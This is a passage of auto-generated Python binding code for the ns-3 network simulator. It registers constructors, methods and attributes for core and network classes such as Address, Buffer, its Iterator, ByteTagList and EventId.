ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation']) register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a']) register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32']) register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64']) register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3']) return def register_Ns3Address_methods(root_module, cls): cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('<') cls.add_output_stream_operator() ## address.h (module 'network'): ns3::Address::Address() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor] cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [constructor] cls.add_constructor([param('ns3::Address const &', 'address')]) ## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function] cls.add_method('CheckCompatible', 'bool', [param('uint8_t', 'type'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyAllFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function] cls.add_method('CopyAllTo', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'uint32_t', [param('uint8_t *', 'buffer')], is_const=True) ## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'buffer')]) ## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function] cls.add_method('GetLength', 'uint8_t', [], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function] cls.add_method('IsInvalid', 'bool', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function] cls.add_method('IsMatchingType', 'bool', [param('uint8_t', 'type')], is_const=True) ## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function] cls.add_method('Register', 'uint8_t', [], is_static=True) ## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'buffer')], is_const=True) return def register_Ns3AttributeConstructionList_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [constructor] cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<const ns3::AttributeChecker> checker, ns3::Ptr<ns3::AttributeValue> value) [member function] cls.add_method('Add', 'void', [param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::CIterator ns3::AttributeConstructionList::Begin() const [member function] cls.add_method('Begin', 'ns3::AttributeConstructionList::CIterator', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::CIterator ns3::AttributeConstructionList::End() const [member function] cls.add_method('End', 'ns3::AttributeConstructionList::CIterator', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<const ns3::AttributeChecker> checker) const [member function] cls.add_method('Find', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True) return def register_Ns3AttributeConstructionListItem_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [constructor] cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable] cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False) return def register_Ns3Buffer_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [constructor] cls.add_constructor([param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(uint32_t end) [member function] cls.add_method('AddAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtStart(uint32_t start) [member function] cls.add_method('AddAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function] cls.add_method('Begin', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Buffer', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function] cls.add_method('End', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function] cls.add_method('PeekData', 'uint8_t const *', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3BufferIterator_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [constructor] cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function] cls.add_method('GetDistanceFrom', 'uint32_t', [param('ns3::Buffer::Iterator const &', 'o')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetRemainingSize() const [member function] cls.add_method('GetRemainingSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function] cls.add_method('IsEnd', 'bool', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function] cls.add_method('IsStart', 'bool', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function] cls.add_method('Next', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function] cls.add_method('Next', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function] cls.add_method('PeekU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function] cls.add_method('Prev', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function] cls.add_method('Prev', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function] cls.add_method('Read', 'void', [param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function] cls.add_method('ReadLsbtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function] cls.add_method('ReadLsbtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function] cls.add_method('ReadLsbtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function] cls.add_method('ReadNtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function] cls.add_method('ReadNtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function] cls.add_method('ReadNtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function] cls.add_method('Write', 'void', [param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function] cls.add_method('WriteHtolsbU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function] cls.add_method('WriteHtolsbU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function] cls.add_method('WriteHtolsbU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function] cls.add_method('WriteHtonU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function] cls.add_method('WriteHtonU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function] cls.add_method('WriteHtonU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data'), param('uint32_t', 'len')]) return def register_Ns3ByteTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagIterator::Item', []) return def register_Ns3ByteTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function] cls.add_method('GetEnd', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function] cls.add_method('GetStart', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3ByteTagList_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor] cls.add_constructor([]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [constructor] cls.add_constructor([param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function] cls.add_method('Add', 'ns3::TagBuffer', [param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function] cls.add_method('Add', 'void', [param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t appendOffset) [member function] cls.add_method('AddAtEnd', 'void', [param('int32_t', 'appendOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t prependOffset) [member function] cls.add_method('AddAtStart', 'void', [param('int32_t', 'prependOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Adjust(int32_t adjustment) [member function] cls.add_method('Adjust', 'void', [param('int32_t', 'adjustment')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function] cls.add_method('Begin', 'ns3::ByteTagList::Iterator', [param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')], is_const=True) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) return def register_Ns3ByteTagListIterator_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')]) ## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function] cls.add_method('GetOffsetStart', 'uint32_t', [], is_const=True) ## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagList::Iterator::Item', []) return def register_Ns3ByteTagListIteratorItem_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor] cls.add_constructor([param('ns3::TagBuffer', 'buf')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable] cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable] cls.add_instance_attribute('end', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable] cls.add_instance_attribute('size', 'uint32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable] cls.add_instance_attribute('start', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3CallbackBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function] cls.add_method('GetImpl', 'ns3::Ptr< ns3::CallbackImplBase >', [], is_const=True) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')], visibility='protected') return def register_Ns3DefaultDeleter__Ns3AttributeAccessor_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeAccessor>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeAccessor>::DefaultDeleter(ns3::DefaultDeleter<ns3::AttributeAccessor> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::AttributeAccessor > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::AttributeAccessor>::Delete(ns3::AttributeAccessor * object) [member function] cls.add_method('Delete', 'void', [param('ns3::AttributeAccessor *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3AttributeChecker_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeChecker>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeChecker>::DefaultDeleter(ns3::DefaultDeleter<ns3::AttributeChecker> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::AttributeChecker > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::AttributeChecker>::Delete(ns3::AttributeChecker * object) [member function] cls.add_method('Delete', 'void', [param('ns3::AttributeChecker *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3AttributeValue_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeValue>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeValue>::DefaultDeleter(ns3::DefaultDeleter<ns3::AttributeValue> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::AttributeValue > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::AttributeValue>::Delete(ns3::AttributeValue * object) [member function] cls.add_method('Delete', 'void', [param('ns3::AttributeValue *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3CallbackImplBase_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::CallbackImplBase>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::CallbackImplBase>::DefaultDeleter(ns3::DefaultDeleter<ns3::CallbackImplBase> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::CallbackImplBase > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::CallbackImplBase>::Delete(ns3::CallbackImplBase * object) [member function] cls.add_method('Delete', 'void', [param('ns3::CallbackImplBase *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3EventImpl_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::EventImpl>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::EventImpl>::DefaultDeleter(ns3::DefaultDeleter<ns3::EventImpl> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::EventImpl > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::EventImpl>::Delete(ns3::EventImpl * object) [member function] cls.add_method('Delete', 'void', [param('ns3::EventImpl *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3HashImplementation_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Hash::Implementation>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Hash::Implementation>::DefaultDeleter(ns3::DefaultDeleter<ns3::Hash::Implementation> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::Hash::Implementation > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::Hash::Implementation>::Delete(ns3::Hash::Implementation * object) [member function] cls.add_method('Delete', 'void', [param('ns3::Hash::Implementation *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3NixVector_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::NixVector>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::NixVector>::DefaultDeleter(ns3::DefaultDeleter<ns3::NixVector> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::NixVector > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::NixVector>::Delete(ns3::NixVector * object) [member function] cls.add_method('Delete', 'void', [param('ns3::NixVector *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3Packet_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Packet>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Packet>::DefaultDeleter(ns3::DefaultDeleter<ns3::Packet> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::Packet > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::Packet>::Delete(ns3::Packet * object) [member function] cls.add_method('Delete', 'void', [param('ns3::Packet *', 'object')], is_static=True) return def register_Ns3DefaultDeleter__Ns3TraceSourceAccessor_methods(root_module, cls): ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::TraceSourceAccessor>::DefaultDeleter() [constructor] cls.add_constructor([]) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::TraceSourceAccessor>::DefaultDeleter(ns3::DefaultDeleter<ns3::TraceSourceAccessor> const & arg0) [constructor] cls.add_constructor([param('ns3::DefaultDeleter< ns3::TraceSourceAccessor > const &', 'arg0')]) ## default-deleter.h (module 'core'): static void ns3::DefaultDeleter<ns3::TraceSourceAccessor>::Delete(ns3::TraceSourceAccessor * object) [member function] cls.add_method('Delete', 'void', [param('ns3::TraceSourceAccessor *', 'object')], is_static=True) return def register_Ns3EventId_methods(root_module, cls): cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('<') ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::EventId const & arg0) [constructor] cls.add_constructor([param('ns3::EventId const &', 'arg0')]) ## event-id.h (module 'core'): ns3::EventId::EventId() [constructor] cls.add_constructor([]) ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')]) ## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function] cls.add_method('GetContext', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function] cls.add_method('GetTs', 'uint64_t', [], is_const=True) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function] cls.add_method('GetUid', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function] cls.add_method('IsExpired', 'bool', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function] cls.add_method('IsRunning', 'bool', [], is_const=True) ## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function] cls.add_method('PeekEventImpl', 'ns3::EventImpl *', [], is_const=True) return def register_Ns3Hasher_methods(root_module, cls): ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Hasher const & arg0) [constructor] cls.add_constructor([param('ns3::Hasher const &', 'arg0')]) ## hash.h (module 'core'): ns3::Hasher::Hasher() [constructor] cls.add_constructor([]) ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Ptr<ns3::Hash::Implementation> hp) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Hash::Implementation >', 'hp')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(char const * buffer, std::size_t const size) [member function] 